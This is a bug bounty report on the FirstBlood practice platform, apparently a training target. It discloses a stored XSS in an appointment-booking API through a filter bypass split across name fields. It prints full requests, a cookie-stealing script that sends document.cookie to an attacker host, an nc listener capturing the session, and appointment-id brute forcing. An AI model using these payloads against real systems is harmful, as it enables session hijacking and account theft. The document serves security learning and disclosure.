FirstBlood-#51 — Stored XSS at http://firstbloodhackers.com:49229/api/ba.php (POST) and aptid enumeration at /api/qa.php can be used to steal cookie
This issue was discovered on FirstBlood v1
On 2021-05-09, 0xconft Level 5 reported:
Hi there,
I found Stored XSS at http://firstbloodhackers.com:49229/api/ba.php (POST) and since firstbloodhackers.com doesn't have httponly flag at cookie header this xss can be used to steal cookie.
Here's the PoC
Request
POST /api/ba.php HTTP/1.1
Host: firstbloodhackers.com:49229
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
csrf: 99215d4e-0ff3-4275
Content-Length: 192
Origin: http://firstbloodhackers.com:49229
Connection: close
Referer: http://firstbloodhackers.com:49229/book-appointment.html
fname=box<script/x xlo="svg"&lname=src="http://192.168.0.20:9999/su.js"/></script/x>&address=box<&city=box<&phonenumber=box<&email=box<&dob=box<&a1=box<&a2=box<&a3=box<&message=box<&slot=1
Response
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 09 May 2021 17:24:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 44
success|f32d6d64-b42c-4405-94c1-97804ace89f4
There's filter/sanitization at fname & lname parameter where it will remove certain html tag (e.g svg script body), certain html attribute (e.g onerror) and certain javascript code (e.g alert). I notice the filter will remove html tag if it written in it's normal form e.g "<script" "<svg" hence "<script/x" pass the filter and i test that the src attribute is not filtered and since the output of fname & lname will be concatenated i decided to split the payload at fname & lname parameter
The xss payload will be reflected at http://firstbloodhackers.com:49229/drpanel/drapi/query.php?aptid=XXXXXXXX (where each X is decimal number 0-9) and it will load javascript code from attacker's server. here the source code of http://192.168.0.20:9999/su.js
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.0.20:1337/?u='+document.cookie);
xhr.send();
The aptid can be enumerated using http://firstbloodhackers.com:49229/api/qa.php endpoint by bruteforcing the id parameter . Attacker can validate the correct drapi/query.php's aptid by grepping it's aptid which is shown in above request (f32d6d64-b42c-4405-94c1-97804ace89f4). I also noticed the aptid start from 56910000 which can be used to makes the bruteforcing process faster
PoC where the drapi/query.php's aptid of f32d6d64-b42c-4405-94c1-97804ace89f4 is 56918069
POST /api/qa.php HTTP/1.1
Host: firstbloodhackers.com:49229
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://firstbloodhackers.com:49229
Connection: close
Referer: http://firstbloodhackers.com:49229/yourappointments.php
Cookie: drps=e1366467bf2270bc5b4e8afce
id=56918069
Response
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 09 May 2021 17:31:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 73
/manageappointment.php?success&aptid=f32d6d64-b42c-4405-94c1-97804ace89f4
Now when doctor accessing http://firstbloodhackers.com:49229/drpanel/drapi/query.php?aptid=56918069 while logged in at firstbloodhackers.com . The cookie will be sent to attacker's server
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.0.20 53704
GET /?u=drps=e1366467bf2270bc5b4e8afce HTTP/1.1
Host: 192.168.0.20:1337
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://firstbloodhackers.com:49229
Connection: close
Referer: http://firstbloodhackers.com:49229/
Best Regards,
0xconft
P2 High
Endpoint: /api/ba.php
Parameter: fname & lname
Payload: fname=box<script/x xlo="svg"&lname=src="http://192.168.0.20:9999/su.js"/></script/x>&address=box<&city=box<&phonenumber=box<&email=box<&dob=box<&a1=box<&a2=box<&a3=box<&message=box<&slot=1
FirstBlood ID: 10
Vulnerability Type: Stored XSS
When creating an appointment, it is possible to get stored XSS /drapi/query.php via the patients name
Creator & Administrator
Nice find and report 0xconft! Even though this is a dupe i'm awarding you a bounty as my own discretion for the great work here.